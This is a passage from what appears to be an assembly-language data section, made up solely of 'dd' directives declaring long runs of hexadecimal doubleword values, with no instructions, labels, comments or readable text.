0B35FCE3Bh, 0E335335Dh, 8630200h dd 57E2CDD0h, 0E74E011h, 9BD45F77h, 0C9FD2520h, 7F38CBF1h dd 0ABA38049h, 0EC46D732h, 2A0D0B24h, 96001348h, 357690E7h dd 71A15Ch, 1AE85591h, 676633h, 0FB380D2Ah, 0A153936Bh dd 0DBF39400h, 0B4F4C087h, 23B600AEh, 0D004C5ADh, 0E3001C12h dd 0C2C4271Fh, 79B776Bh, 501550Fh, 0EB605FF1h, 0D9A41EABh dd 59D3B201h, 9A45A9EDh, 0E937D6D4h, 7A926CE8h, 427687h dd 0E477EC86h, 22FA9BE0h, 0E26D048h, 0C0EE0BD5h, 0A0BCF8A3h dd 86B80376h, 90FD127Dh, 0C83E7CD8h, 153FED1Dh, 454D1B00h dd 72AC75Eh, 93A07A1h, 808430F0h, 2E000A19h, 69A63B7h dd 39503BF3h, 0E23867F5h, 3F428B00h, 0EABE6276h, 32A10150h dd 10848F1Dh, 0A0DAED4Eh, 195C2042h, 9AFA0905h, 2F076F23h dd 0C5E150F0h, 357B92D7h, 0D1669000h, 0EE134B77h, 72580012h dd 0B8731C8Dh, 0E3002EC9h, 0E2E57531h, 0C01FE4h, 386DDE13h dd 8862E673h, 19360B00h, 91059AC4h, 6EBB009Dh, 26DB5EE0h dd 32005B25h, 0BE1AC928h, 0E50AF5h, 1DDA7547h, 57048B50h dd 9E725138h, 0DE808E8Ah, 353B59D8h, 0A42601F9h, 4E73AA88h dd 0EC52E591h, 1E00C295h, 0BFB0E6EEh, 0BCF477Ch, 0AB4F0204h dd 60A30B00h, 0E9009789h, 34F96758h, 0C38801h, 5ECFF0EEh dd 2E336AF5h, 3800FC76h, 69C297EAh, 0A4843Fh, 28F6C53Ah dd 272D455Fh, 3A61000h, 0A09E7D2Ch, 0CDEDA089h, 95AE004Eh dd 0E599B747h, 0F40026A6h, 9613948Bh, 0E0F0DC08h, 81EA0002h dd 592E1F4Eh, 1D01C45Bh, 4BF8F231h, 0AADC6DF3h, 823A00FFh dd 3D8D2DDCh, 0B9004528h, 41B7A718h, 0C50A7Fh, 58F1D30Ch dd 0ECDAC78Eh, 3FF69E24h, 21969800h, 74EB70h, 0C1DA813h dd 0B5166BC7h, 898E710Bh, 0D10781BFh, 4C600A9Dh, 790900F2h dd 2D23AA98h, 7D0048CCh, 2746C16Ah, 992A96h, 5C8A5D73h dd 0A5D9BFEAh, 9577981Fh, 0CD610AC7h, 314BBBC0h, 0AE5200ABh dd 0BD29118Eh, 0F200B39Ch, 0D2D1B060h, 1E280618h, 808AEBCDh dd 5B88ECA1h, 4C00E13Dh, 26FB8B7h, 0BDFC37h, 0FA5A2DF4h dd 629BDD69h, 0CF088200h, 0EF7FCA6Fh, 778A00E7h, 24AEF450h dd 6B0E9383h, 0A0732154h, 55D114D3h, 9BA4001Dh, 0E22D67A2h dd 4D00A7EAh, 0A6738807h, 0C155F3h, 0DD3CD89h, 74AD2936h dd 7C475100h, 0B391B160h, 4D8100B4h, 37B58505h, 34703694h dd 0AE2C3200h, 0D4E25B67h, 12800C4h, 380C1ACDh, 0D77D718h dd 32153900h, 66356757h, 0D32C0075h, 3EC47BEDh, 26004121h dd 1989E752h, 332937h, 0CB8E28EBh, 241AD24Bh, 0C1F5681Eh dd 7CF20039h, 80CD5271h, 8BC33E65h, 1B2F1Fh, 0FC7DD5D3h dd 59034B98h, 0F86D4793h, 0C66CB16Bh, 1ACC1ECh, 0BE3D85BDh dd 0C00AE697h, 0A800DEBCh, 0CE7C5BA6h, 0E8E7BDB7h, 9A3B00DCh dd 5029A3A5h, 110E138Fh, 0E00C09B9h, 0A436BE78h, 197B69h dd 448E5993h, 0C16492C5h, 0EBF88B0Bh, 89B000B1h, 1CB1C6Bh dd 5E78587Ah, 0FCA3AA90h, 54006370h, 8DB8E0B3h, 0E5464Ah dd 0D4E14EC2h, 0B75E65CFh, 81AE1800h, 2C67F94Bh, 0A4F4005Fh dd 0E57BCCC7h, 207DA20h dd 560DC370h, 0A8F0E857h, 1F60466Dh, 8086E705h, 4FB46E0Bh dd 0F5007164h, 1A298D2Eh, 581068C9h, 2F4862F3h, 0A020E307h dd 0ECC14FC1h, 20CF26EFh, 4700F7E9h, 1C2612Bh, 1E230609h dd 647D1F97h, 8A7100CAh, 4D1D7012h, 0F3D6400h, 185CCB86h dd 0A23700C8h, 0FC5283C9h, 0FE798FFAh, 31056B00h, 8E33FB4Ah dd 0C4F6D3h, 54E972C3h, 0F7A63495h, 0EE9E8400h, 734B1BE8h dd 803D0013h, 4C6B44C7h, 0C0143014h, 18DB0D52h, 7B64AFCEh dd 337A003Ah, 8972F887h, 570B39FEh, 0A3140Dh, 0DC184714h dd 616D1F41h, 1C2F00CAh, 7D5B1F6Ch, 9EEFE700h, 8281CF48h dd 17290094h, 4E31C654h, 0B21D65DBh, 2B9E7BBDh, 20801C9h dd 40241ED9h, 2E2855h, 39BCE8D5h, 5CC810F0h, 74098E00h dd 400B531Bh, 293D0086h, 735D4F6Bh, 0C900513Eh, 37546818h dd 2D5ADEh, 0BF282BC2h, 305E1A9h, 766DE01Dh, 0E60E7840h dd 0FECACBEh, 0EECE8772h, 33C3E980h, 9C4C0A04h, 64B1020Ch dd 55BD7901h, 0DAB7C440h, 1678F20Eh, 0C10A83EEh, 0AA30FFB3h dd 1385C6h, 8651D3AFh, 0A326248Eh, 930F4605h, 0D78072CDh dd 2204DBh, 422A9F85h, 66DE8E50h, 61D1B603h, 0A8893E76h dd 0EB7968h, 4DCE07F6h, 9656C9D6h, 9E5F3B00h, 0FDB14E95h dd 0B2B60024h, 4A933ACh, 0F0014B46h, 0D75E71C7h, 45D0A2E5h dd 0D2680007h, 87F12B32h, 36001EEDh, 0C7A98F14h, 39357064h dd 42009D80h, 244A0782h, 8F001044h, 0B572B86Bh, 7F3FAD1Fh dd 0B2EC00A4h, 354877C4h, 0F200E932h, 4AB0272h, 42A505h dd 4F63E39Eh, 60239958h, 8DBF3Eh, 27082BF7h, 56D41Bh, 85C352C9h dd 4789ECE2h, 83EB7401h, 1A862D50h, 1BC0E4E5h, 0C3920016h dd 7E32B776h, 38798FBCh, 8EB2D800h, 15478DA3h, 0E8C6003Dh dd 35A7F11h, 9C1D458Fh, 4B80BBFFh, 0B082B5DAh, 0E64A0099h dd 0A6A1D64Eh, 400B40Eh, 6B8A8762h, 9749C6h, 0E9864A3Dh dd 632D5422h, 0EAFCB800h, 0F334AA38h, 176C98EDh, 0E3124Fh dd 17E61F61h, 7F00096Dh, 0FDE1608Bh, 73D7DDh, 0FAEBAC12h dd 3F102601h, 0ABDB600h, 9305FB69h, 0B351007Fh, 0DCDA9B4Fh dd 0F2FC3291h, 4EF4B800h, 0A1FB351Dh, 666E0034h, 649B3DAAh dd 3900989Eh, 7160B92Bh, 5976FAh, 0FEEA5116h, 0C5F3E3A3h dd 798C490Fh, 9FFD63F4h, 9C8FD833h, 57D60020h, 0E91E076Eh dd 0F4005881h, 14FE4A87h, 0B84CC4BCh, 3D2E004Eh, 935B1009h dd 0E10004B6h, 2906743h, 7FF9F6F5h, 667F30h, 4D3C0737h dd 89936E5Ah, 20E19A00h, 0B3D99699h, 7F51EBAh, 9D608324h dd 0A9B80819h, 0AB00618Dh, 37185DCAh, 6763DBh, 35B25906h dd 0B576C6B4h, 0DAAC8701h, 9DF21F69h, 3D2956C8h, 0A880086Eh dd 48D857Dh, 7E00BAD7h, 12B5BE67h, 1BE2F2h, 7FEA65EBh dd 704D78DFh, 0DACB9F00h, 1BE3ED7h, 6F5301F0h, 0F92C8633h dd 2116D04Ch, 5D19E600h, 7FDB934Fh, 9C3200AAh, 29D5CDD7h dd 24020612h, 0FD773BF9h, 7E0C074h, 88F00F32h, 0C8C0839Ch dd 8B499876h, 28E29300h, 0A122140Bh, 0E30E0060h, 4F650C7Dh dd 0FF009291h, 0F2F5ADE5h, 982E775Fh, 0F7230035h, 0DB8E3453h dd 0D702703Bh, 94FADF56h, 0C2016166h, 78B063CCh, 581D017Eh dd 97FFF5A7h, 25E360BDh, 0B5FBDB03h, 9A40F922h, 3264C0BFh dd 8E5400A8h, 6E60D806h, 0A40077CCh, 0CAC71CE8h, 0EF6F3863h dd 66BFD8h, 2DA9645Ah, 0DD5EC9AFh, 0DEF61B00h, 0B97E75FBh dd 34E31DDBh, 0DF5BC361h, 0A8E0BEBCh, 78007D09h, 0F1A1432Eh dd 0D95C39h, 0B5E552C4h, 86B3A8CEh, 714C7E01h, 0DDBA6166h dd 0AC051E5h, 8FAD0190h, 0AE4092A6h, 0E2FE40E4h, 0C307744Bh dd 0C06D5134h, 6A0053FEh, 0AEF8119Ah, 0B99822h, 27E9497Fh dd 3F8ECFC8h, 280084E2h, 48140E08h, 322C6D9h, 4AF59472h dd 38B07A65h, 0BB03F3E6h, 8F91033Bh, 88D6BB31h, 77C6B1h dd 0DCEF9DBAh, 0E121D76Bh, 0BF5BA100h, 1812BB55h, 6781008Eh dd 0E7DB922Bh, 0D903FAD8h, 95620730h, 0EFB7A813h, 43E4011Fh dd 27D10DDEh, 89C0D750h, 0B9F6D5F6h, 0E8DFAA00h, 0F45EEA14h dd 7DB82Dh, 0C291226Eh, 5DDB2141h, 0F0E1CB1Fh, 0BBE803Eh dd 0B5235A48h, 3E9E04Bh, 8FDE30BBh, 0C7C829DCh, 88FA7DDFh dd 1E5A6100h, 3ED5A2CEh, 0ADB400EAh, 0DE12E50Ah, 6D3D7023h dd 0ABA500FEh, 67CE0507h, 9640EF1Dh, 2DBBDEEh, 44A243C9h dd 2AC0D91Ch, 7C00AFBAh, 0AA2AB6A8h, 3F20F62h, 0C4E1D5ABh dd 6EF9501Bh, 9F87E0FEh, 0BE0DFD00h, 29E9E585h, 7A33005Ah dd 1CF56AFAh, 4100F072h, 0EFCE8F1Dh, 0EC90B552h, 454A0033h dd 0A795F37Dh, 43004171h, 7CF9473h, 0E089798h, 3EF754A4h dd 0FD3D409Fh, 7938A675h, 3A99100h, 0F2367BDFh, 70F4A2h dd 9F7DBD6Ch, 0AB33B4ADh, 0BC007E7Dh, 0CD3C441Fh, 825901h dd 6FD5CCC2h, 47D32A4Ch, 14F19A0Ch, 0BA1B06Bh, 3685AA2Eh dd 0E3EC8980h, 0AE015362h, 8BAFE6FCh, 9FD4329Bh, 721E0061h dd 6D7E7A11h, 0EC0014ACh, 0C4E8D830h, 21C8E7h, 0F1EAE213h dd 8A726492h, 0E4FF6300h, 4A7779A9h, 6D4F0074h, 596C219Dh dd 7D00DE46h, 0B2DFBFD5h, 10D715Eh, 8C725AA7h, 0E0753A78h dd 660EFF8Ah, 0A035DD24h, 45C3A291h, 4BCB241Dh, 74F10593h dd 0F0980F77h, 41E26B41h, 14A12B72h, 0D2EAE8h, 607FB171h dd 29111D3Ah, 0E6885C00h, 218A27C4h, 9820008h, 0D454452Eh dd 3201152Dh, 2F977C0Dh, 9BCCD2FFh, 0C8590E78h, 42809346h dd 79A00621h, 64AD5200h, 0E090C10Eh, 0AA8200B2h, 5732B0A6h dd 0FF001156h, 7ACD9D14h, 1C8541h, 842F875Ch, 0FC407D7Bh dd 8972A501h, 0CA5B22E6h, 7A3ACCD8h, 317F00C8h, 0C68E61F9h dd 5F00B3F3h, 52BE5627h, 0E9F5FCh, 0A42450Eh, 7E031CCDh dd 5CF4E87Dh, 99D81300h, 3AC1C415h, 70F900D5h, 0D61AAA48h dd 0D3F6F1B6h, 96741FECh, 21820D50h, 2EED4B00h, 0ECC9BA20h dd 2547E64Ch, 0ED54687Ah, 25FD0600h, 30B6981h, 0D064661Dh dd 51C8E227h, 0FAF69988h, 7A5EB40Fh, 9B2DA222h, 0CCFF400Dh dd 0C12A00F2h, 51669187h, 24001215h, 0FA259EEEh, 49C1BC7h dd 617750E5h, 2089C7E9h, 540FB208h, 8881A500h, 68B4BC0Ch dd 7FB5005Ch, 0F678091Ch, 0D8009493h, 8263125Ah, 9FD2D1h dd 6CAF7A71h, 2A86C5E7h, 60BFB471h, 7FB754h, 16A227D4h dd 0FB60F0DEh, 0E67BDC00h, 0FFAAACD7h, 0FA3900EAh, 0BC5D99DBh dd 0A2004550h, 162C22B1h, 1CEFAF8Eh, 0A55273h, 857E7FBh dd 8800594Fh, 0CC9DDF2Ah, 0F6C7B4A9h, 0CDC80796h, 400FEB2Fh dd 7113D1A3h, 7D495100h, 0FB7C92C1h, 0A9DD0080h, 0A5FDDEEAh dd 4400C2CAh, 0C875DC9Bh, 98B2093Eh, 0C13D242Bh, 0CF0500B5h dd 5D717A41h, 0FE7B48h, 68AD5AB5h, 73E003h, 0BDF9B03Fh dd 3E127CA5h, 17F7E200h, 5EFBBB31h, 0A3DF2CCEh, 26003CDFh dd 726B45A8h, 0EE002017h, 493518BCh, 0B06C5h, 9D5BE8ACh dd 74E33EF1h, 0F2CB291Dh, 6E9EAE82h, 0C7A3400Ch, 0DFE70050h dd 0E0FD7E43h, 5F00D23Bh, 63BFFC21h, 738FB5h, 4976E301h dd 0B2A678F5h, 15309300h, 0D69F34CAh, 7B89006Fh, 4C27B5E8h dd 0CB00F394h, 7E96F0E7h, 9CCD268h, 0FE677B87h, 0F81E0503h dd 7300CFDFh, 1019402Ch, 0A1742B00h, 0FEA308DBh, 0F40F03E9h dd 623EA0D6h, 28ED4EF8h, 0DF71700Eh, 0C400B78Dh, 564978CAh dd 0ACC325D4h dd 0C46F0480h, 0B2177243h, 37008A61h, 0FA45FB2Dh, 4DA70034h dd 83B14416h, 7673CE8Dh, 2D33930Eh, 52B940C3h, 1D3A8D8h dd 110C8501h, 0D8B804F3h, 0A1DEE1Dh, 500AD9Ah, 3F937402h dd 0F4397DDCh, 3577287h, 0AE8DE9FAh, 89C0E07Ch, 700020DFh dd 2918446Eh, 7914CDh, 0F6A8BF97h, 5F120775h, 0E71AE90Ch dd 5668CBh, 657DB48Ah, 0E3E5A410h, 0E031DA00h, 5B97A9D7h dd 9CC8008Eh, 0FDCA198Ch, 570090EBh, 0F0DA7882h, 0B3D701h dd 236E6ABAh, 0A03F9D99h, 24B4800h, 17B680DEh, 78B100C7h dd 0F15FD13Ch, 0B400A056h, 2AA97C3Bh, 834C47h, 7AE8ABA1h dd 0DCC9097h, 18F7AD0Fh, 0DE42A064h, 489FE946h, 0E400D8D8h dd 89ED9484h, 0BE00A9E5h, 0E04A3542h, 0EBD1FCBDh, 5BF598CBh dd 0A2B0047h, 99B21914h, 6CEA3A1Dh, 0C09057F2h, 1E47AF3Fh dd 0EE0066C0h, 25D149ABh, 0E82D00F8h, 0D338DE95h, 0BD098EEAh dd 80A17165h, 256FF9B8h, 0A4FA39A9h, 405B6B1Eh, 0DDC16C5Ch dd 5901C254h, 420D521Fh, 0E0D229D4h, 16FA5A4h, 4AC7FC1h dd 705178C8h, 0A6006809h, 265F2DB9h, 0B0D6E3h, 5DB41DC9h dd 45B371EFh, 8D0A3300h, 6F146672h, 0C69F1DB2h, 0F937409Ch dd 1C55BCADh, 5A752C00h, 928EAA35h, 3CE30066h, 7D26589Bh dd 0C6017C79h, 0EE1F7588h, 3C701361h, 8EE900A5h, 0D77A927h dd 0BF00A3BBh, 8014ABD2h, 336537h, 1B3987D8h, 62EF5061h dd 0B68ADB00h, 0C5D3EAB0h, 0E789074Eh, 0AEDFCFC1h, 396C0BFh dd 9DA7DA69h, 1A0C3800h, 60A0B29Bh, 19460055h, 0A49FD839h dd 0C948493Dh, 959300B3h, 29C57FA2h, 82460EBAh, 1E06BE8h dd 0CFAFA880h, 0D460C000h, 0BAC8D3F0h, 6B5700C6h, 92331137h dd 3D009087h, 0DFA378F4h, 2E3C94h, 3735E573h, 41B20F3Bh dd 7E067F00h, 0DD5EB1ABh, 2B01004Fh, 9EAD5720h, 0EF00A179h dd 36DA9740h, 0E53D6D4h, 0A76118FFh, 60E94F07h, 35033349h dd 8501C07Dh, 950FB5AEh, 1360CC8Fh, 0E4F01C2Bh, 707580BCh dd 0A12F37ACh, 0F11FDCE0h, 0E08FFA43h, 9A93BFDDh, 0F2934A00h dd 0CA7F05h, 0EDFBE79h, 0FA99F1ABh, 0A637DC00h, 0DE0B2855h dd 0B8B30042h, 96C0EA49h, 3E00E2BAh, 0D6F7B45Bh, 17196B44h dd 57013Fh, 0C4F827D8h, 0C0334D4h, 6FE91206h, 0FDBBE814h dd 5C443FA2h, 0B9686200h, 26554077h, 532B2400h, 0D81C72E9h dd 2AD50F9Bh, 0E7E0B0F7h, 608AC9B5h, 2F641A00h, 8F9D0475h dd 0D4FC03D9h, 0A437EA17h, 0CB70BEF0h, 0F0AA2EC0h, 0E68A1E34h dd 9BBACE95h, 537E4CE0h, 8B3D283Ch, 1AAB0018h, 4336A292h dd 0C8600D2h, 215A738h, 0FD004F01h, 58DB40D8h, 0F9F0E6h dd 0D07BE829h, 0B65B7CCEh, 0CFF11004h, 2BC0212Bh, 0B41B87h dd 2AD465DCh, 5D4366AFh, 170F07E0h, 407EC0EFh, 7D5BD99Fh dd 0AA7547h, 14FD4D89h, 0B081D272h, 0DFA24100h, 6A170936h dd 0F7C3034Bh, 27638E75h, 17E47C7h, 0E87B1D6Ch, 0F838A1B7h dd 62AD87B0h, 0CF80AAC8h, 0A0119Bh, 2C6D4D23h, 12BED2C3h dd 0F199C200h, 8F256859h, 0DA200092h, 494A3A79h, 0BF003004h dd 26980FCEh, 9018CD8Bh, 347B71h, 2B8C0D24h, 313582D6h dd 7C2E7301h, 1FAB72Dh, 0F433F6ECh, 346A0039h, 0E3513854h dd 95003A93h, 4591DA21h, 3DE26E83h, 0D2033EC0h, 3D79F7F5h dd 7D2BF1F8h, 0B7CB020Fh, 9DF380FDh, 0EE8551ACh, 17BC003Ch dd 11740D36h, 5D00EEA5h, 3DFA71F8h, 74ABFD4Ch, 492E06FCh dd 6C8E7225h, 0EBD63800h, 40277FC0h, 3FE00CFh, 36B49976h dd 83003137h, 0E5D0F9Bh, 0FE2C55A4h, 151C0F88h, 1D8727h dd 0B54B02F4h, 0E4020BE1h, 6CFD1D79h, 35AE61F0h, 3D7DCA60h dd 5A38D863h, 0B30A9387h, 0E39001A2h, 6F08F884h, 4C872600h dd 6B72BC05h, 564C8Ch, 0B6835C04h, 0A4168380h, 44FF98C0h dd 0B3525A00h, 0F567E085h, 457B0142h, 0DD9C1CA5h, 8FAEE095h dd 6151331Eh, 5B60CE07h, 7E7800Bh, 15930E4h, 0C3BEFAF2h dd 8BADC5FDh, 5560D56h, 9C084E9h, 0E2B29DCh, 875ADE8Fh dd 56B50140h, 4F00DA1Ch, 0BC45AB80h, 3A8593BAh, 1000144Ch dd 0D4E40489h, 51DA7EEh, 1800BE15h, 0B5A9E55h, 83210061h dd 0B817E846h, 4C38BD08h, 0BBC98039h, 295FC832h, 79DFAAFh dd 0E540742Fh, 8078346Ah, 9FFA2C7h, 0E8B94607h, 0FE909E43h dd 0EE419B66h, 0E6880026h, 99B4D353h, 9F39640Eh, 32221C2Ch dd 0FB104680h, 77C9D1h, 178402AFh, 86DB764Eh, 4A0070E4h dd 0DA4C115Ch, 0ECA8C42Eh, 0D6DC1EBBh, 233A40CAh, 91B4D117h dd 5C7D5Ch, 64459008h, 36A0A74h, 0C158B0DEh, 8BD04F82h dd 0DB006CBEh, 95311436h, 906BC4h, 9B02DDC2h, 0CB16E3F8h dd 0A3C62E00h, 7257854Eh, 0CE450015h, 295A481Ah, 0F726C779h dd 0C3005E37h, 0F36426ABh, 76A60092h, 0C932D002h, 38036B5Dh dd 88B2B422h, 8BC1C804h, 0DD3E003Ch, 73243933h, 94708AD9h dd 0E653AC00h, 0CC0C5AD4h, 9D8C00DFh, 0EC21659Ch, 641FF867h dd 66416046h, 0FABA816Bh, 7D1AE0h, 775E629Eh, 0A3360D0Eh dd 8092A43Fh, 59E08B72h, 910947h, 5E10E524h, 0F46EEE4Dh dd 0F00737Dh, 54AACFFFh, 774E918h, 926998B1h, 1F8CC071h dd 150099DEh, 0BEACEE19h, 6396CBh, 80D3E89h, 0E17730A5h dd 0E728ED00h, 1CDBFF95h, 845F0053h, 0EE69046Bh, 0F7008D65h dd 0DA83FB47h, 1FD9E19Ch, 9F0EBBh, 879B6EE2h, 530019CEh dd 412BB7CFh, 1DE72046h, 4F619C0Ah, 744028C6h, 5433DF87h dd 65242200h, 885157B8h, 35EE1DABh, 0BA64015h, 0B662EDAEh dd 0BC89DC00h, 8C117203h, 3C9800BBh, 0ABBA0856h, 7D0004CDh dd 91BE5FDBh, 0AD2D2Ah, 335A495Eh, 44C80DEh, 7F70E303h dd 0A08FBE32h, 6562EEh, 0AD038C01h, 29F35C5h, 0C6FF3703h dd 90295815h, 790CF70h, 0DF95CABh, 917700C7h, 0ED0003D5h dd 0F07592DEh, 1CE906Ah, 952CF933h, 0D80539D1h, 7E004979h dd 7C64DB2Eh, 50868569h, 0FC9F75h, 43B631EBh, 0A41D2315h dd 607CD74h, 980DEE55h, 6AC5008Eh, 1110ABh, 0FA39AF8Bh dd 0B8E3FF54h, 0BAC2F303h, 0FA70CFD9h, 9B6A400Fh, 0EA7600CCh dd 3618538Bh, 74719EE2h, 512AF400h, 0EF4B6596h, 257E69Fh dd 3A31D40Ah, 0C8E04E2Ch, 0F31FE1CBh, 0B200D93Bh, 7CBF58FAh dd 0E9400DEh, 7CA77EEh, 0C600349Ah, 2187F345h, 380FF498h dd 35BC38EDh, 0AA038FD8h, 9E34E886h, 1B60C9B0h, 6811200h dd 93B78A37h, 88CF0021h, 0EEF86DAAh, 417AF4Ah, 7F00C49Fh dd 823F2D68h, 0E1DD0052h, 0AC603C3h, 5AE860CAh, 0DDFEAB28h dd 0C1845101h, 83BDBAB9h, 60C29E40h, 736F0054h, 0E3B2194Dh dd 460EA6A8h, 60A71738h, 98CE2A77h, 0E4791F2Bh, 7F11401Fh dd 455BDD2Ch, 1DE67309h, 205D814Fh, 47D8AA5Dh, 37F40E24h dd 7D60F9ACh, 9193DBC3h, 41DF3900h, 15D46FEEh, 0A4FEEDh dd 624F9243h, 0BFEF71BAh, 44A98001h, 7DCD2D25h, 70279930h dd 0A8940072h, 0EB54C858h, 7A28C210h, 0FD1CAC93h, 9E403B7Ch dd 0C7B59BF8h, 0E6FCB0BCh, 0E7D90075h, 0BA37EF26h, 74007F82h dd 0C2206E35h, 0FCAB018h, 0FAD23BD1h, 0AFB30900h, 45075A32h dd 7D29070Eh, 546E760h, 2518030Dh, 37C8C734h, 0A6C46A80h dd 7957CC00h, 7C351C8Ah, 89DB0F92h, 196007AFh, 603AC854h dd 841DF600h, 0D5A66455h, 0FB0A006Ah, 744810FDh, 0CB7A66B0h dd 39435201h, 0D9069B6Ch dd 0B7E8CCh, 0B6B05904h, 78CA480Fh, 6E655300h, 0BA3DCCD1h dd 0D5E44CDDh, 1AF54B00h, 812AAD3Eh, 72F6FE00h, 0E91C5DD9h dd 0EB920327h, 0DF6F912Bh, 0BD21F4C8h, 0A099F707h, 8A08A4Dh dd 9C4926h, 0D179D94Ch, 6CE5CDE0h, 3E98E900h, 0F18D4F65h dd 0CEBB0081h, 0F2ABF947h, 0FC00507Eh, 2035850Dh, 0EEB442h dd 8D48E7EBh, 10D557D3h, 4E99D91Eh, 0BCB6007Ch, 8A6ED897h dd 15EC00F1h, 0FBF48359h, 2603AFF8h, 1190E20Ah, 8F22E0EDh dd 6AB209C7h, 970041F7h, 0B6C5159Ah, 65716403h, 0A8C44EBEh dd 7E22966h, 6A365F67h, 7DABB0BFh, 0E40EE5EDh, 60C0E9AAh dd 0B408CE3Ch, 0C5A80309h, 8BFEB182h, 0F02336F1h, 0F700D354h dd 5D457502h, 0FAE2BA04h, 0DB530FE7h, 84001BBDh, 1F44813h dd 7B007275h, 8CA81F2Ch, 78EA752h, 0E1A6940Eh, 5D3190B4h dd 0FB01DA99h, 5AE2DB22h, 7EC41989h, 88D90091h, 1839AADCh dd 0C35CE4A8h, 8A3C7754h, 33D6004Bh, 8B939F25h, 387D0021h dd 60A2624Ah, 8D0009A6h, 11DDE105h, 9E356Fh, 6675CF80h dd 789F88DCh, 14FB7A00h, 0E7BD573Fh, 858C0027h, 0AF5AAB7Ch dd 4C00371Fh, 1123E81Ch, 1467FE65h, 83733F4Bh, 27ED9700h dd 0C3ADACD9h, 0E4564830h, 39D9135h, 1E986E12h, 329B5C5Fh dd 593950C8h, 0AC9F1800h, 1757E704h, 28E00013h, 0EA5AF19Bh dd 0BC00BFF3h, 0B26188E1h, 7C31B72Fh, 5EA0004Bh, 430C0BECh dd 0E300DB8Bh, 26E86F58h, 46B437h, 869206A9h, 23C1F2F5h dd 5D83CA00h, 33B6DE2Fh, 966B244Dh, 63D2002Ch, 0D9AA098Eh dd 785E7600h, 592B2F73h, 574C05DEh, 80D675C7h, 0EE0DE563h dd 1E566800h, 8BCCBBB3h, 5F4B1419h, 0A70187DEh, 0B0812090h dd 0E800C348h, 0AFCA137h, 0F611F9h, 0F85BD0BFh, 6B9BAE6Fh dd 0DD4DEE00h, 0CB7B7D1Eh, 7B70014h, 868374C1h, 190F2213h dd 189FE20h, 0B4766E57h, 0C9AAC8h, 44611B17h, 28210975h dd 0E77D0E03h, 8820CC33h, 0C9B399h, 0C4E0BB71h, 57A10109h dd 7FEAFC76h, 129EB200h, 0EE459834h, 352984Eh, 0D4C5D68Ch dd 7A1B478h, 477B21BEh, 0DA4B6075h, 6600EECFh, 0C6F80F20h dd 0D293DFh, 0BC234179h, 3D314C82h, 5F03D705h, 9E0077D8h dd 76FB1B67h, 0A0215CB6h, 9ECF5101h, 0F092D411h, 9F780249h dd 0D2A6AB00h, 0C02159E1h, 0D87E00E4h, 7F57094h, 0CE004F80h dd 79896EA0h, 35089Eh, 0D82AF677h, 5CC45491h, 41E9A31Fh dd 0BC53DFC0h, 0EE62F2B3h, 1F46FA3Bh, 87208A6Ch, 0A00255CDh dd 0DC8773CBh, 484C4D07h, 0EB405810h, 1F1163h, 0E8311C1Ah dd 0D2ED4151h, 0AC14F00h, 71EE3335h, 0DBAF0058h, 0E7DE6B78h dd 9D799B96h, 14994B58h, 8EEC60h, 231F4AB1h, 761E163h dd 0A422C50Ch, 49CB5044h, 8B004FE4h, 0BB437D86h, 145280h dd 69A2993Bh, 94DF465Eh, 0E403D776h, 681F31FAh, 0DC8EF8D2h dd 0E1710083h, 88D551C8h, 2B00ACECh, 0F09FB20Eh, 0E810E5h dd 2C8A4ECEh, 320F6446h, 8954FB01h, 0E9D0261Bh, 3C49F9F4h dd 0BC00F383h, 6676E8DEh, 0AFF2BEFDh, 0BBBDC600h, 0A2CA8BC5h dd 65F21E0Dh, 6EAEC023h, 0F32B1562h, 0FCE3BA07h, 0EF255B17h dd 96219AC0h, 419900C3h, 0AC14E85Dh, 10071FCCh, 4F23504Dh dd 0DFDC85F0h, 5EF13FFBh, 0BFEDA280h, 3E5538C1h, 0F5019C75h dd 96B25358h, 2D600E8Fh, 0F9600021h, 85719B19h, 3000AF46h dd 925E3E4h, 0E03EFD2h, 0A879FE2h, 288F7EE0h, 0E548DFF9h dd 1B88006Dh, 3D30C2CCh, 0D871011Ah, 5AC4A52Bh, 0A1F3D8BFh dd 0BDC86600h, 0F4A395ACh, 36B3000Dh, 5B4B8B42h, 1A009781h dd 0A66B14B4h, 1D2BA3A9h, 6458AE28h, 0CFA001C0h, 873AA49Ch dd 92B2305Ah, 3932F50h, 0A3472810h, 0D6D300F8h, 5AD5D1E6h dd 39058D92h, 738352ABh, 8C598A00h, 6B3768h, 0D5644380h dd 2C4285C3h, 0B3FD9200h, 0DA46DC03h, 0E8A7D56h, 0F263EFF8h dd 175F1D67h, 65EEB05Eh, 0BE001B14h, 4002D84Dh, 0A5FBDBh dd 0B2CE0980h, 8101EEAh, 0AFF42200h, 0FBDE3612h, 0AA28001Dh dd 0C2B63D2Dh, 19003725h, 4CF9E076h, 1EF50C5Ah, 47B146B7h dd 6FC0A09Dh, 0FF433322h, 0B09B9D40h, 0B3B29700h, 0A1B9E023h dd 831E480Dh, 0BED5DC13h, 1FE2D800h, 0CE6FA84h, 0C25A8E44h dd 0F4002088h, 0E418AD99h, 8F27DCh, 0CDA55497h, 4B70309Ch dd 0A40086F2h, 5F6CA158h, 0F4F3EE2Eh, 76E500D9h, 4AC1FBD5h dd 94002650h, 0AE723CEDh, 17C9D25h, 485F9B71h, 0E4B89C18h dd 56B0F0C4h, 9AE13B00h, 3D67FC6h, 2DA30F23h, 6AC0B697h dd 9E15C818h, 34AC18C0h, 4CA74D41h, 812C6E4h, 9F6807F5h dd 3F6E404Ch, 50958998h, 3EEE261Bh, 0C3FE00B4h, 0B3CB2617h dd 8B0E9574h, 41EA8Ch, 0C70C212h, 34C60FA9h, 22E08AF5h dd 75A51C97h, 0BE60C539h, 0C4480E40h, 0A3188EC6h, 90D79D49h dd 31DBDA1h, 0A2DC2094h, 0FAB07840h, 1F006855h, 0E0A112E6h dd 3B56282Eh, 45804EC2h, 5174AE9Eh, 89004963h, 0A887E6D2h dd 3B34B1DFh, 4280DB8Ah, 0C27971E3h, 651DC02Ah, 0E0C09C9Eh dd 0BF5746B8h, 0B2DE09EAh, 2C890EDDh, 843B5F80h, 0EE77F6DFh dd 0B800C1EAh, 5BFE1357h, 3C7F4249h, 9E802489h, 0A73687C2h dd 8600CAA8h, 5EBF0F3Eh, 8B0358h, 0D7C35D72h, 0BC95EAACh dd 0C6149A00h, 0D50AE664h, 821A3CA4h, 4334007Ch, 3A2D73B8h dd 0B28D292h, 0B2009A8Dh, 8C564FBEh, 0F0E17Bh, 888B3C73h dd 0FE9AA548h, 52689513h, 7B317C00h, 70FAD1BAh, 0F143397Ch dd 601A8200h, 6CB22946h, 1158FD00h, 0C7EA4A50h, 0F20B0072h dd 5F04AFB9h, 23E453C3h, 8F99CD00h, 